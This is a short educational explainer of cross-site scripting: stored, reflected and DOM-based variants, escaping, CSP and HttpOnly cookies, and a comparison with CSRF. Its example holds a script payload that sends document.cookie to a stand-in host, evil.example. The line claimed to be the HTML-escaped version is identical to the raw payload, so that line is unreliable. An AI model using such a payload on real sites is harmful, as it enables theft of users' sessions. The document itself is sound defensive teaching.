In more detail
XSS (cross-site scripting) is a vulnerability that lets an attacker run their own script in other people's browsers, in the context of a trusted site. It happens when user input is placed in a page without being escaped, for example a comment containing a <script> tag. The attack can be stored (saved in the site, like a comment), reflected (bounced from a link) or DOM-based (built in the browser). A script that runs can read cookies, change the page or act as the user. Defences: escape output for its context (see HTML Entity Encode), use a strict Content Security Policy (CSP), mark session Cookies HttpOnly and prefer frameworks that escape by default.
Why it matters
The browser trusts anything that comes from the site, so injected script gets the same powers as the site's own code: reading the page, sending requests with the user's session, showing a fake login box. One unescaped field is enough, and the victims are the site's other visitors rather than its server. Escaping must match where the data lands: HTML text, an attribute, a script or a URL each need different rules.
Example
A comment field accepts <script>fetch("//evil.example/?c="+document.cookie)</script>. Printed as is, every visitor's browser would run it. Escaped for HTML it becomes harmless text:
<script>fetch("//evil.example/?c="+document.cookie)</script>
The page now shows the characters instead of executing them. The CSP header generator helps build a policy that blocks inline script as a second layer.
Common confusion
In XSS the attacker's code runs in the victim's browser. In CSRF the attacker only tricks the browser into sending a request and sees no result. Also compare SQL injection, where the target is the database.